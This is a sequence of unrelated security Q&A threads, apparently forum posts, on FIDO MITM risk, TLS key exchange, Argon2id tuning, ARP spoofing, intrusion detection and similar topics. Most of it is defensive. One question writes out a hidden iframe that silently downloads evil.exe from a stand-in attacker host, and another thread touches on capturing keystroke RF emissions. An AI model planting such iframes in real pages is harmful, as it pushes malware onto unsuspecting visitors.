MITM attacks on FIDO UAF and U2F In Section 6 of the Universal 2nd Factor (U2F) Overview, where MITM attacks are discussed – near the end of the section, it reads:

It is still possible to MITM a user's authentication to a site if the MITM is

a. able to get a server cert for the actual origin name issued by a valid CA, and
b. ChannelIDs are NOT supported by the browser.

But this is quite a high bar.

I’m not convinced that this is such a high bar.  We’ve seen more than a few cases where attackers have been able to obtain fake-but-trusted CA-signed certs.  And, TLS ChannelID has not been widely adopted by most browsers and servers (in fact, the RFC draft proposal expired in 2013).  Moreover, even if TLS ChannelID is supported by both endpoints, an active MITM attacker could prevent TLS ChannelID from being used by way of a downgrade attack during the ClientHello message.

I applaud the leap that FIDO has made to reduce our reliance on passwords, and to make authentication more secure and less cumbersome for users.  But, it seems that it has done little to protect against an MITM attack where an attacker is able to get his hands on a fake-but-trusted certificate, and we must continue to put our full faith and trust in CA’s, which have a history of letting us down.  Of course, even the most secure authentication protocol is useless if the connection can be compromised by an active MITM attacker.

Other key-based authentication protocols (such as SSH) protect against MITM attacks by way of public key pinning built-in to the protocol.  With SSH, for instance, clients store the public keys of servers that they’ve connected to.  Immediately after a connection is made, during key exchange and before any client authentication is attempted - the client verifies that it is indeed connected to the intended server, by checking that the public key that the server is using is the same as the one on file for that server, and ensuring that the server is in possession of the private key associated with the public key via some cryptographic operation requiring the private key.

Of course, HPKP (without FIDO) can be used to pin sites’ SSL/TLS certificates in the browser, but this has its own set of problems.

I’m curious why the architects of FIDO UAF and U2F did not take the protocol a step further, and embed a method of public key pinning within the protocol (perhaps using different keypairs than the ones used for the SSL/TLS connection), so that clients could ensure that they are connecting to the legitimate server before attempting to authenticate, a la SSH.  Would anyone care to hypothesize?

I share your global feeling about U2F being a good job even if it is an half-done job. :) Note: I am working as a security architect inside a small company (FIDO Alliance member) with its own U2F certified products.

Regarding expiring TLS ChannelID support, it is supposed -eventually- to evolve into Token Binding support (updated specifications, same goal).
https://datatracker.ietf.org/doc/draft-ietf-tokbind-https/
Yes, it is not easy to implement TlS Channel ID on the server side (BoringSSL library can help) and yes it is only supported by Chrome on the client side and yes, it can be downgraded... BUT the good thing is that if you are thinking about using U2F on your own server/service, it can still be done and you can enforce it. Better than nothing while it is true that on many global services (gmail, facebook...), TLS Channel ID protection is simply deactivated.

Regarding the key pinning debate and why the server authentication part is relying on good/bad old SSL server certificate, the original decision is probably a mixed result of technical difficulties and "political" positioning. U2F (and UAF) already attacks established Certificate Authorities on the client side... Note : these are anonymous client key pairs but associated attestation/production certificates can be signed by FIDO Alliance private keys (becoming its own Certificate Authority...).

Dealing with mutual authentication would require larger memory too... I don't care, but it can be a problem for some solutions providers.

Whatever the initial real reason, it is not done and as far as I know, this kind of feature is not planned for future U2F releases... and not planned either for WebAuthN (kind of U2F/UAF successor).

But it doesn't mean U2F can't be adapted to support enhanced mutual authentication feature... I am working on it with few other fools: Welcome to our madness :)


How is the Premaster secret used in TLS generated? I believe that it uses some combination of the random values sent in the hello messages. From RFC 2246: (TLSv1.0)

 RSA encrypted premaster secret message

   Meaning of this message:
       If RSA is being used for key agreement and authentication, the
       client generates a 48-byte premaster secret, encrypts it using
       the public key from the server's certificate or the temporary RSA
       key provided in a server key exchange message, and sends the
       result in an encrypted premaster secret message. This structure
       is a variant of the client key exchange message, not a message in
       itself.

   Structure of this message:
       struct {
           ProtocolVersion client_version;
           opaque random[46];
       } PreMasterSecret;

       client_version
           The latest (newest) version supported by the client. This is
           used to detect version roll-back attacks. Upon receiving the
           premaster secret, the server should check that this value
           matches the value transmitted by the client in the client
           hello message.

       random
           46 securely-generated random bytes.

How will it match the value the client sent previously? Can someone please explain this? Thank yuou! Is there any API to compute this value?

The client generates the 48-byte premaster secret by concatenating the protocol version (2 bytes) and some bytes that the client generates randomly (46 bytes). The client is supposed to get these 46 bytes from a cryptographically secure PRNG; in practice, this means using the PRNG offered by the operating system (/dev/urandom, CryptGenRandom()...).

The client then encrypts the 48-byte premaster secret with the server's RSA public key (that the server sent previously to the client, in the Certificate message). The encrypted result is what the client sends to the server as the ClientKeyExchange message. By virtue of RSA being, well, a sound asymmetric encryption algorithm, what the server decrypts is equal to what the client encrypted.

The server decrypts the contents of the ClientKeyExchange message using its private RSA key. At that point, both client and server know the premaster secret. They then proceed to use it to compute the master secret (using the client_random and server_random, exchanged previously in the ClientHello and ServerHello messages, and mixing the whole with the PRF). From the master secret, they again will use some PRF mixing to obtain the actual encryption keys for subsequent data.


Argon2id Configuration I read an article about how to use Argon2id in C# here.

Below is the code they wrote (slightly edited):

using System;
using System.Diagnostics;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using Konscious.Security.Cryptography;

namespace Playground
{
    class Program
    {
        // No. of CPU Cores x 2.
        private const int DEGREE_OF_PARALLELISM = 16;

        // Recommended minimum value.
        private const int NUMBER_OF_ITERATIONS = 4;

        // 600 MB.
        private const int MEMORY_TO_USE_IN_KB = 600000;

        static void Main(string[] args)
        {
            var password = "SomeSecurePassword";
            byte[] salt = CreateSalt();
            byte[] hash = HashPassword(password, salt);

            var otherPassword = "SomeSecurePassword";
            var success = VerifyHash(otherPassword, salt, hash);
            Console.WriteLine(success ? "Passwords match!" : "Passwords do not match.");
        }

        private static byte[] CreateSalt()
        {
            var buffer = new byte[16];
            var rng = new RNGCryptoServiceProvider();
            rng.GetBytes(buffer);

            return buffer;
        }

        private static byte[] HashPassword(string password, byte[] salt)
        {
            var argon2id = new Argon2id(Encoding.UTF8.GetBytes(password));
            argon2id.Salt = salt;
            argon2id.DegreeOfParallelism = DEGREE_OF_PARALLELISM;
            argon2id.Iterations = NUMBER_OF_ITERATIONS;
            argon2id.MemorySize = MEMORY_TO_USE_IN_KB;

            return argon2id.GetBytes(16);
        }

        private static bool VerifyHash(string password, byte[] salt, byte[] hash)
        {
            var newHash = HashPassword(password, salt);
            return hash.SequenceEqual(newHash);
        }
    }
}

I have the following questions:

On the Konscious.Security.Cryptography README page, instead of argon2id.GetBytes(16), they are using argon2.GetBytes(128) which returns a longer value.

Assuming the configurations are the same, is the 128 approach more secure than the 16 one because it's longer?

From what I understand, the more memory we let Argon2id use, the more secure it will be against customized hardware attacks.

I therefore assume that even if 40 iterations with 70 MB and 4 iterations with 600 MB take roughly the same time, the latter configuration's larger memory cost is justified because it's more secure. Is this correct?

According to the Argon2 Specs, specifically section 9 Recommended Parameters, the following procedures should be done to determine which parameters to use:

We recommend the following procedure to select the type and the parameters for practical use of Argon2:

Select the type y. If you do not know the difference between them or you consider side-channel attacks as viable threat, choose Argon2i. Otherwise any choice is fine, including optional types.
Figure out the maximum number h of threads that can be initiated by each call to Argon2.
Figure out the maximum amount m of memory that each call can afford.
Figure out the maximum amount x of time (in seconds) that each call can afford.
Select the salt length. 128 bits is sufficient for all applications, but can be reduced to 64 bits in the case of space constraints.
Select the tag length. 128 bits is sufficient for most applications, including key derivation. If longer keys are needed, select longer tags.
If side-channel attacks is a viable threat, enable the memory wiping option in the library call.
Run the scheme of type y, memory m and h lanes and threads, using different number of passes t. Figure out the maximum t such that the running time does not exceed x. If it exceeds x even for t = 1, reduce m accordingly.
Hash all the passwords with the just determined values m, h, and t.

The "tag" in this case refers to the output of Argon2. So as the document highlights, 128 bits (or 16 bytes), should be enough for most applications. Generating a longer output will not give you more security. You should generate a longer output if your application needs the output to be longer for some other purpose (e.g. generating 256 bits output to use as a key for AES-256).

As for the memory cost compared to the number of iterations, I asked a similar question. The answer to that question, as well as the specs, recommend the maximum amount of memory possible given your environment. This question and its corresponding answers explain why it makes sense to maximize memory usage, as long as you have at least 3 iterations over that memory. In your code, NUMBER_OF_ITERATIONS is set to 4 as a recommended minimum value, which seems safe as a minimum.

As a side note, you should actually benchmark your values. What primarily matters is the amount of time it takes to perform the calculation of one Argon2 tag. The specification added above, as well as the questions I linked to, detail this process well.


How do I secure X server against spyware in a GUI application? Suppose you have a GUI application, that potentionally may be too curious about your environment, such as the list of window titles.

How do I limit application's ability to enumerate windows, capture unrelated input, access clipboard when not asked to, preserving most of normal activity?

How do I give partial, not full access to X?

As an immediate patch, you should run such an application in a separate X server on a different VT. This is the only way you can guarantee that the app does not use the X API to spy on other clients. You may also try your hand at XSELinux but I know of very few people in the world who know how to run it, and it usually severely limits what your target app can do (not to mention the cost of labelling your desktop's data properly).

Besides, you still need to prevent process code injections or introspection, and to prevent the app from tampering with your users' runtime environment by sandboxing it (you need mount and IPC namespaces at least). See Docker and MBox. Note that I don't discuss exploits against the kernel / namespaces / X servers, just available Desktop capabilities.

On the longer term, display protocol like Wayland that guarantee isolation between clients from the start will be available. Until then we must cope with the insecurity of the Linux desktop.


Drive by download with iframes Does the definition of a drive by download include malicious execution of an unaccepted downloaded file or is the unaccepted download of a file the drive by download by itself? I didn't find a good/clear definition.

Why is it possible to download files with a hidden iframe, so the user isn't even asked if he wants to download it. Something like this:

<iframe src="https://attacker.com/evil.exe" width="1" height="1" frameborder="0"></iframe>

Isn't this way too risky?

I didn't find a good/clear definition. (in relation to the terminology "drive by download")

Terminology such as "drive by download" is typically up for interpretation, depending on the context. Though, when something is referenced that has to do with a "drive by", it usually means both download and execution.

Why is it possible to download files with a hidden iframe

This is considered a feature. This functionality is allowed because it may be considered for use by legitimate businesses and websites for legitimate purposes. It isn't necessarily considered a "security risk" because generally speaking it is safe to download a file, as long as you don't run it. (of course I'm not discounting the possibility of a 0day within the download methods of a web browser, but I wouldn't be concerned about that.) It's also important to note that some browsers do actually ask you if you'd like to download a file before beginning the download, such as firefox - in the form of asking you if you could like to save, open, or cancel.


Examples of non signature based anti-malware/anti-virus programs, IDS, & system integrity scanners All traditional anti-virus software uses signatures to detect known malware after it has been discovered by the software companies and added to the definitions. Heuristic definitions allow a piece malware that has been modified to still be detected, but as far as I know it is still limited to a certain type of program, and it is easy to defeat this by personally rewriting the malware differently.

So what I'm looking for is examples of the following types of security programs. I realize that some ideas of what I have in mind may not exist!

File integrity scanners that use a database of known good files, or create a list of every file ever seen and alert the user of a never before seen executable. The anti-virus companies probably have something like this but I doubt it's public.
Memory scanners that look for unusual memory contents based on a database of what a particular operating system and motherboard BIOS areas should have. It could also check if the chipset and IOMMU is configured in an unusual way.
Rootkit busters that scan for things such as abnormal hooks in the kernel and abnormal threads running.
Resident data scanners that scan for unusual things in memory such as encrypted data, and network traffic that contains executable binary code or unusual encrypted traffic. It could also communicate with a separate network monitoring computer to check for any hidden by rootkit network traffic that is showing up on the monitoring computer and causing a discrepancy.
Intrusion detection systems, especially anomaly-based, that monitor network traffic going in and out of a network or host (running on a dedicated computer).
Any primarily heuristic threat detection programs and anything that you have in mind that is along these lines!

I know that the vBulletin PHP forum software has an integrity checker. Unfortunately such malware often adds itself to the database in the forum of a form add-on so it doesn't get scanned by the integrity checker. Windows has had some rootkit scanners but I can't remember the names of them or if they are any good.

While I will answer your questions to the best of my abilities, please realize that any of the tools listed here require moderate to heavy configuration and a good understanding of systems security. There is no tool you can just turn on and forget about, and shoving a system full of tools which you don't fully understand will do nothing but decrease performance and increase attack surface area. Each of the questions you asked could have its own answer with many pages of resources, so I am trying to keep it simple. Please get yourself familiar with these tools before using them!

File integrity scanners that use a database of known good files, or create a list of every file ever seen and alert the user of a never before seen executable. The anti-virus companies probably have something like this but I doubt it's public.

There are many file integrity checkers available, such as AIDE. These integrity checkers create a protected list of hashes of all files on a system, so changes to any files will result in an alert. Updating the database is supposed to be done immediately after any software upgrade. If you want an integrity checker that only operates on executables and actively prevents modified executables from running, you should consider IMA, the Integrity Measurement Architecture, for Linux. This is a security feature built into the kernel which will verify any file before execution to ensure that the hash of the file (stored in an extended attribute) is valid. The root of trust goes down using a hash tree to a single trusted hash, usually stored in secure hardware such as a TPM. Note however that IMA necessarily breaks demand paging, which may impact performance for large executables.

Memory scanners that look for unusual memory contents based on a database of what a particular operating system and motherboard BIOS areas should have. It could also check if the chipset and IOMMU is configured in an unusual way.

Although I am not aware of anything like this which operates at runtime, you can use the CHIPSEC framework. CHIPSEC is a collection of utilities which verify various firmware attributes to ensure the firmware has configured the system correctly for maximum security. Useful modules and common vulnerabilities are listed on their wiki. The framework is primarily designed to scan for firmware misconfigurations which make it possible to overwrite the firmware at runtime.
I do not know of any utility which checks to make sure the IOMMU is configured correctly. Generally, you can ensure it is working by seeing if your kernel log is providing information about DMAR, an ACPI table provided by the BIOS that gives the IOMMU information about the memory ranges to protect. I believe tboot does do some basic sanity checks in the process of implementing DRTM. Note that there may be ways to bypass the IOMMU by exploiting kernel vulnerabilities, and an IOMMU will not properly isolate the system if x2APIC or Interrupt Remapping are not supported, or if ATS (Address Translation Services) is supported and enabled on any PCIe device.
Hardware security is complicated and frankly a little scary. One paper explains how to switch the IOMMU to a mode which is typically considered more secure, yet which allows a GPU to perform malicious attacks on system memory. Intel's datasheets for each individual processor model can stretch to many thousands of pages of dense technical information (MSRs, MMIO, etc). Of that, a large percentage of information is kept intentionally hidden, available only in NDA-ridden confidential documents. Understanding an IOMMU's limitations is not a simple task.

Rootkit busters that scan for things such as abnormal hooks in the kernel and abnormal threads running.

This is difficult, because generally security software will be running under the kernel. A rootkit that has compromised the kernel will be able to modify the rootkit scanner at will. There are a number of kernel modules which attempt to scan for abnormal hooks (such as a hijacked syscall table), but they are often trivial to defeat and tend to rely on security through obscurity. There are a few hypervisor-based solutions, but they are often rather experimental or platform-specific.

Resident data scanners that scan for unusual things in memory such as encrypted data, and network traffic that contains executable binary code or unusual encrypted traffic. It could also communicate with a separate network monitoring computer to check for any hidden by rootkit network traffic that is showing up on the monitoring computer and causing a discrepancy.

This seems to be the same as the previous question about "rootkit busters". Scanning the memory would not be possible to do reliably if there is a rootkit on the system, and even if there are not, this tends to rely on heuristic analysis. Unlike a static file on the computer, memory can be constantly changing, self-editing, and highly obfuscated. For example, functions can be kept encrypted and decrypted right before execution, before being overwritten. Software can execute using x86's turing-complete page fault handler. Threaded code (unrelated to multithreading!) can be used to hide the intention of code, as it is essentially intentional ROP, executing gadgets out-of-order.

Intrusion detection systems, especially anomaly-based, that monitor network traffic going in and out of a network or host (running on a dedicated computer).

This is called an NIDS, or Network Intrusion Detection System. They often use a highly configurable ruleset which may or may not be free of cost. One of the most popular NIDS tools is Snort, which has both free, community rulesets as well as commercial, professionally-developed rulesets. If you get familiar with the syntax, you can also write your own anomaly-detection rules. Snort can be a bit resource heavy and has a large attack surface area, which makes it ideal to run on physical firewalls, as you mentioned. It can send its logs to other servers, remotely.

Any primarily heuristic threat detection programs and anything that you have in mind that is along these lines!

If the detection system runs on the host (as opposed to over the network as above), it is an HIDS, or Host Intrusion Detection System. HIDS software often runs alongside integrity checkers, or may have their own built in. There are many viable options for an HIDS, such as OSSEC. Note that these are often heavy on resources and are not particularly effective unless you are alert and maintain it correctly. There is no "set and forget" HIDS software that just works out of the box. It will need to be custom-tailored to your system if you want it to provide any improvement in security.


Does a leaked LastPass hash enable the attacker to retrieve encrypted passwords (ciphertexts)? Normally LastPass servers won't send out encrypted passwords unless the client proves it knows the master password. With the hashes leaked, does it become possible for an attacker to retrieve encrypted passwords (i.e. ciphertexts, which are useless without the master password) without first cracking the leaked hash to obtain the master key?

I realise that at this point LastPass won't send encrypted passwords to new IPs, but there must have been a window in which they would have. If this is possible, then we must assume that the attackers managed to pull at least some percentage of the encrypted passwords.

This would be bad news for anyone with a sub-optimal master password, because if there is any chance that it might fall to an offline attack then changing your master password alone won't help: you'd need to also change the actual passwords before your weak master password is cracked.

Conversely, if you don't think your master password can fall to an offline attack given what we know about the hashing algorithm, then there is no point in changing anything at all. The only scenario in which you would change your master password but not the actual passwords is if you believe that your ciphertexts didn't get downloaded by the attacker. Otherwise you either change everything or you change nothing.

Is this a plausible scenario? Would you expect that the attackers managed to retrieve some percentage of the encrypted password ciphertexts?

Assuming that, at some point after the breach, LastPass would have provided password databases to anyone who only knew an account's username and password, regardless of which computer they connected from, then the answer is basically "yes, it's possible".

Under those conditions, if an attacker was able to crack a user's master password and log in to that user's LastPass account before LastPass changed their security, a user's password database could certainly have been compromised.

However, that window of time was (presumably) small. With proper security practices in place regarding the hashing & storage of master passwords, it would be generally unlikely that anyone with a strong master password would have had their account compromised within that window. Accounts with extremely weak and/or common master passwords may have had their hashes cracked, but anyone else would probably be "safe".

That said, it is even still very possible that some users may have their accounts broken into even with the new security measures. LastPass is falling back to e-mail verification for new systems that access an account. If a user's master password is cracked, and that same password is all that protects their e-mail account, then it would be fairly trivial for an attacker to work around the new security measure.


Is there any drawback of using OAuth "pseudoauthentication" as opposed to OpenID? I have seen posts that insist that OAuth is an orthogonally different thing from OpenID, because OpenID is about authenticating users, while OAuth is about giving access to certain services to a third party.

However, I know a lot of people uses OAuth as authentication anyway, as illustrated here, Wikipedia calls it "pseudo-authentication", but it looks like a valid way to go. Is there any drawback compared to using OpenID? if OAuth is OK for authentication, does it mean that OAuth can do everything OpenID does, but OpenID can't do somethign that OAuth does (like accessing services). Why would people use OpenID as opposed to OAuth then?

Note: I am a beginner, so please excuse me and point out if I miss something fundamental here.

OAuth was designed for cases where Application X needs access to resources (e.g., "my photos" or "my email address" or "my calendar") controlled by Application Y and belonging to User A — User A may want to grant access to those resources on Application Y, but he doesn't want to give Application X his actual username/password credentials. So an access token is used as an alternative credential for a resource on Application Y. Access tokens can be revoked independently of username/password credentials and are, ideally, tightly scoped to only allow access to specific resources.

Using OAuth 2 for authentication overloads that model in ways that can be risky. Look at the example above, and imagine it being used for authentication. If Application X uses that access token for authentication, then it's taking a token that grants access to resources on Application Y, and using it to grant access to its own resources. Maybe that's splitting hairs, because the important thing is that we know that the act of granting an access token via OAuth 2 implies that the user has successfully authenticated. The problem is that the access token doesn't say anything about which application the end user authenticated for. So what happens if Application Z also has an access token for User A's resources on Application Y? If Application Z can get Application X to use this access token, then it has access to User A's resources on Application X. That's bad. User A may have trusted Application Z to access his resources on Application Y, but User A certainly never granted consent for Application Z to access his resources on Application X.

OpenID and OpenID Connect are specifically designed for authentication. OpenID Connect is built on top of OAuth 2 so that it can take advantage of existing interactions and flows, but it adds an entity called an ID token, which is an object containing a set of claims about an authentication event. Those claims include an identifier for the user who performed the authentication, an identifier for the server that handled the authentication, and an identifier of the audience of the authentication. This gives an application the information it needs to validate that a user is authenticated on its behalf.


Safe to commit OpenVPN client config to Git? I'd like to commit my OpenVPN client config to version control, in a repo that's remotely hosted and publicly accessible.

This would reveal the server's hostname and port, as well as the filepaths to .crt and .key files.

Should I be worried about revealing the server's hostname/port, or would that be considered security through obscurity?

More generally, how safe/unsafe would this be?

An obfuscated example config would look like:

client
dev tun
proto udp4

remote my.example.net 1194
remote-cert-tls server
tls-auth /home/ivan/path/to/ta.key 1
cipher AES-256-CBC

ca /home/ivan/path/to/ca.crt
cert /home/ivan/path/to/myuser.crt
key /home/ivan/path/to/myuser.key

nobind
user nobody
group nogroup
persist-key
persist-tun
comp-lzo yes
auth-nocache

Update: Thanks for the feedback. The points about contrasting "security through obscurity" with choosing not to expose more than necessary about your secure system were well made.

I realized that the context in which I'm doing this offers an easy way to exclude some of the config from version control while committing the rest. The Git repo is for my NixOS system configuration, so I can put the sensitive parts of my vpn config in a separate file, which I'll gitignore, and interpolate its contents into the final config file that nix composes.

So my configuration.nix will have something like:

services.openvpn = {
  servers.fooServer = {
    config = ''
      # The insensitive stuff inline, committed to Git
      client
      dev tun
      # etc...

      # The sensitive stuff slurped from a gitignore'd file
      ${builtins.readFile ./foo-server.private.conf}
    ''
  }
}

Avoiding "security through obscurity" doesn't mean giving away information about your system just because it's something a determined person can find out anyway.

Also, I assume you mean version control hosted remotely, not just version control on your development machine?

If the remote version control server is publicly accessible or accessible to more than those who need to know this information, putting the file in version control doesn't make it anymore secure, so I guess if you think it does, that's falling victim to "security through obscurity".


How to secure Nikon Cameras open WIFI? In Nikon digital cameras which support WiFi like D5300 you can browse and transfer the photos by enabling the WiFi and connecting to the camera SSID which is open and do and there is no option to protect it by any level of authentication or encryption and run the WMU application on your mobile , I am wondering how we can limit the access to the camera in this case?

You don't have much options there, it's only uses WPS for WiFi security. So you have to enable or select push-button WPS.


Preventing ARP spoofing in DMZ Is there any possible way to implement a defence mechanism in a firewall to be able to prevent ARP spoofing in a DMZ. Our DMZ server consist of two webservers and a database (which should be available from the internet)

Whereas Jari's answer correctly states measures against some MITM attacks, ARP spoofing is a specific MITM attack which is not prevented by enabling DHCP snooping or port-security, (which protect against DHCP race and CAM table attacks respectively).

ARP spoofing in particular can be protected against by

setting static ARP values
deploying dynamic ARP inspection (e.g. ARPwatch).

Please, also check this stackoverflow question, which lists different kinds of MITM attacks.


Remote monitoring of key strokes — is an RF retro reflector required? Is it possible to remotely monitor key strokes on a laptop or is an RF retro reflector required?

If so, where would be the most likely location such a device would be placed?

Almost any computer equipment, including keyboards, monitors, CPUs, and others, can emit RF signals that leak information.  There is no way of knowing if your particular machine emits such signals, or what their range is, without testing for the purpose.  The way to protect your equipment is with purpose-built TEMPEST shielding.

TEMPEST is the set of standards developed by US spy agencies to shield against such attacks.  You can read more about them here: https://en.wikipedia.org/wiki/Tempest_(codename)

If you are trying to capture emissions from a computer, your success will depend largely on antenna effectiveness and placement.  The only way to find this information out about a particular machine is through testing.  As with any radio signals, the closer the receiving antenna is to the transmitter, the higher your chance of successful reception will be.


public MySQL via XAMPP - security - whitelisting IP's versus VPN I'm working on app that uses MySQL database on XAMPP Control Panel on Windows.
I am concerned about security part.
I received advice about connecting to MySQL through VPN so it won't be accessible so easily.
As far as I understand it, VPN helps with blocking unwanted traffic to database.
I was thinking about whitelisting IP's instead of setting up VPN. There is only handful of non-localhost connections for this database so setting up separate privileges and user with specified IP address allowed to connect for each device wouldn't be problem at all.
Thing is, I don't know exactly how this works - will it allow to try to connect if particular IP is not within whitelist? I would guess not?
Will this get me similar result as if I'd use VPN? What are differences between this two approaches?

IP Whitelist should kill any connection from an unknown IP.
It should be safe enough, and it's highly unlikely that an attacker will go through the IP whitelist, unless you whitelisted public IPs (school, restaurant, library, etc)
Using a VPN would be "safer", because you could encrypt your traffic and prevent an attacker on the same network as you from seeing any data other than the VPN's IP.
It also makes it so that there is two passwords/keys required - one for the VPN login and one for the MySQL server login.


Downloading operating systems vulnerable to TCP amplification I am doing a security research project on TCP amplification, and was looking to download vulnerable OS's for testing.  From what I have researched mostly ancient linux kernels (2.0.x and below) and embedded servers are vulnerable (SYN attacks, RST attacks, etc).  I was looking to download some to run in a virtual machine, but need help finding where I can download them.  So, my question is where I am able to download old linux distributions, and any suggestions of vulnerable systems?

Below is research that has been done on the subject (both from the same author):

Exit from Hell? Reducing the Impact of Amplification DDoS Attacks
http://christian-rossow.de/publications/exitfromhell-usenix2014.pdf

Hell of a Handshake: Abusing TCP for Reflective Amplification DDoS Attacks
https://www.usenix.org/conference/woot14/workshop-program/presentation/kuhrer

Had done some work in this area myself while studying in College, found this website really useful: http://www.amanhardikar.com/mindmaps/Practice.html You will find what you are looking for in the "Vulnerable Operating System Installations" Make sure to check out the OWASP for goodies as well: https://code.google.com/p/owaspbwa/

sourceforge with some goods most likely replicated elsewhere http://sourceforge.net/projects/virtualhacking/files/os/dvl/


Can a rogue DNS server see my passwords? Recently I've been testing a couple DNS servers to see which one performs the fastest because I need a really fast connection. On to my point, if I were to use a malicious DNS, could they see my passwords and plain text data on HTTP websites? If not, are they capable of doing anything else malicious?

Not directly, but they can collude with other agents to see passwords sent in clear-text.

All that a DNS server is used for is mapping a domain name to an IP address. So DNS servers will never see data you communicated between you and a website. They just aren't involved in that part of the communication.

That said, a DNS server can incorrectly return an IP for a website that is running a phishing or similar scam. You might then enter your credentials into that fake site. This is easy to do as your URL bar will state that you're visiting your intended destination site even though you are visiting a scammer's site.

So, a rogue DNS server cannot steal your passwords, but a rogue DNS server in cahoots with a phishing site can certainly steal your credentials.

If you are using HTTPS and don't blindly click through security logins, HTTPS will ensure that you are talking to the real site and not a phisher.


SpyProxy: how does it work? I have been reading about SpyProxy. Can someone explain me this phrase I found in the article ? Here it is: We monitor the guest OS and browser through “triggers” installed to look for sandbox violations. I am looking to understand what is the nature of the triggers they may install in the Virtual Machine ? I appreciate any help/indication.

I would assume you understand what is going on here: when you try to visit a webpage, your browser is configured to use this AV as a "proxy." Instead of TRULY proxying the connection, the AV downloads the webpages (probably non-proxied) and opens them on a VM. It then (probably) checks for changes to the filesystem that could be interpreted as suspicious. For instance, modifications to system32 or Program Files (x86) (assuming you're on Windows) would be detected and the webpage would be blocked. Assuming no suspicious changes are found, (most likely in the virtual memory as well as the filesystem) the program fulfills its perceived role as a proxy and "forwards" the web page to you. The advantage of this is mainly that previously undiscovered viruses are still blocked, but disadvantages include poor performance. Also, a determined attacker wouldn't have too much trouble getting around this system (depending on how rigorous their algorithms for checking the VM are).

EDIT: To be a bit clearer, while there are undoubtedly some triggers installed on the guest OS, most of them are probably installed as part of the program and are separate from the OS entirely.


Would it be possible to fix the security flaws inherent in USB technology? Many questions and answers on this site discuss the various risks related to USB. I'll refer to this one as an example.

I wonder if it would be possible to devise a different design (or in general, approach) which would allow to mantain (some of) the pros of USB with a reduced possibility for disasters. I mean, something like not frying your computer.

Of course many tradeoffs can be discussed, I wonder if they can be effective or, if you accept to be able to plug hardware made "from anybody", no solution can be found.

Dedicated ports for certain classes of hardware would help, like in the old days where we had PS/2 for input devices.

If a port is marked as "storage" then it should only accept storage devices, so if a malicious device wants to pretend to be a keyboard and type in nasty stuff well it can't because the OS would just ignore it.

This can actually be implemented pretty easy without any change of hardware, as ports are numbered and the kernel can be configured to accept specific types of devices for specific ports. So you can configure one port (possibly with a hub) that only accepts input devices where you plug your keyboard/mouse, and other ports that accept most general purpose devices excluding dangerous ones that are implicitly trusted like keyboards.


Machine certificates for accessing a web app in IIS only from an specific PC client We have an ASP.NET web app running in IIS, with about 200 users, some are inside our LAN and other ones are outside our LAN. Every user has a userid account and a password to login.

Besides those credentials, we want to add more security for accessing that web app with this requirement:

  A user will access that web app just and only from its PC. If the user
  goes to other place and/or uses other PC, and even if its credential
  login were right, then he/she will not be able to access that web app.

We thought about using client-side certificates Now we are told that we can meet this requirement using machine certificates instead of client side certificates. With machine certificates, the user will not be able to use any other machine to use the web application.

Also we'd have to install a CA in our IIS server, but we can issue machine certificate for non Active Directory machines also.

Is it possible to meet this requirement with machine ceritificates?

There is no real difference between machine and user certificates: it's a X509 cert that is used during the TLS handshake as client authentication (client authenticated handshake).

The difference is how the certificate is installed and configured on the client: typically, a user certificate will be linked to the user account. depending on the system, it might be "moved" from one system to another when the user moves (for instance, if it's an AD-integrated certificate) and the private key will not be accessible to other users of the same server.

A machine cert, however, is tied to the specific machine. Typically, on windows, it is linked to the LOCAL_MACHINE certificate store and the access to the private key is protected by ACLs so that only local admins and authorized users have access to it.

So, to answer your question: you, you can use machine certificate since the only difference is the way they are distributed and their access is controlled.


Can the blocking of JavaScript and the disabled loading of embedded attachments make an HTML email relatively secure? In order to protect myself from getting trojans and other stuff, I have changed Thunderbird’s options to only display emails in a simplified HTML format. But this format takes away pretty much of the advantages HTML emails have to offer (for example, writing justified text).

Yesterday, I have found an add-on which could solve my problem, but I’m not sure whether it offers a good protection or not. It is called “Allow HTML Temp” and it enables me to watch proper HTML emails again. But it has the options to deactivate JavaScript and to not load embedded attachments.

In the preferences it says that allowing original HTML emails is not recommended, but could it be “recommended” or “tolerable” or whatever if JavaScript and the loading of embedded attachments are forbidden?

I am using NoScript and do not click on links from spam emails.

The German Federal Office for Information Security has written the following:

  Fallacy 1: “If I just look at an email but do not open an attachment,
  nothing can happen.”

  Unfortunately, this is not true. Many emails
  today are sent in HTML format. […] In the […] source code of an HTML
  formatted email lurks the danger: There, malicious code can be hidden
  which can already be executed when opening the HTML email […] without
  any clicking on an attachment.

I have read that it should be sufficient if I keep Thunderbird updated all the time, but I suspect it of letting through some malicious emails. This is because my old mail provider has been bought by a new company which does not offer spam protection at all. Furthermore, it does not scan emails for viruses, trojans or any other malicious code.

I know that even palin text mode does not offer a complete protection, but does such an add-on for Thunderbird increase my security so that I can read original HTML emails (that is, not in a simplified version of HTML) again?

Check when that document you quoted was written, this is because the use of JavaScript in HTML emails is disabled. Even if it were enabled, almost all email clients (apart from very, very old ones) have the feature of JavaScript auto-run disabled.

As to the loading of embedded images, yes their HTML code can open malicious links when loaded, hence why most email clients disable the feature, instead giving you a choice to load them every time you open the email.

So, because JavaScript doesn't actually serve any advantage (did I mention emails with JS often get sent to spam?), you might as well leave it disabled in case of the slim chance that your email client let's a malicious piece of code slip. For the embedded attachments, again you should disable the auto-load of them, and instead let you manually load them.

So activate the option but leave "deactivate embedded attachments and JavaScript" turned on.


Multi-tenancy, SSL Certificates, and Subject Alternative Name The X509 specification allows a CA to issue a single certificate for multiple hostnames, by using the "Subject Alternative Name" extension.

From the spec:

  The subject alternative name extension allows identities to be bound
  to the subject of the certificate.  These identities may be included
  in addition to or in place of the identity in the subject field of the
  certificate.

This has numerous uses; in particular, consider a hosting / reverse-proxy situation, with multiple sites colocated. These sites do not particularly trust each other, and do not have any kind of affiliation; they are just being hosted by the same server, and thus sharing the same certificate.

Is this as risky as it sounds?
At first glance I would say that being as the sites are not trusted to each other, it might be possible for siteA to spoof siteB, even over SSL, since siteA uses the same private key that siteB does. DNS would still need to be spoofed, but there are several ways to do so (even if they are not trivial).
Am I wrong, IS there some other cryptographic (or other) mitigation that I am not seeing here?

If every tenant has a copy of the private key, then well, they all have it, which means that they can spoof each other. They can also decrypt traffic between other tenants and their clients, unless they use the "DHE" cipher suites of SSL, which removes this specific issue; this is known as Perfect Forward Secrecy. DHE does nothing against the spoofing issue, and can be used only if the client software agrees.

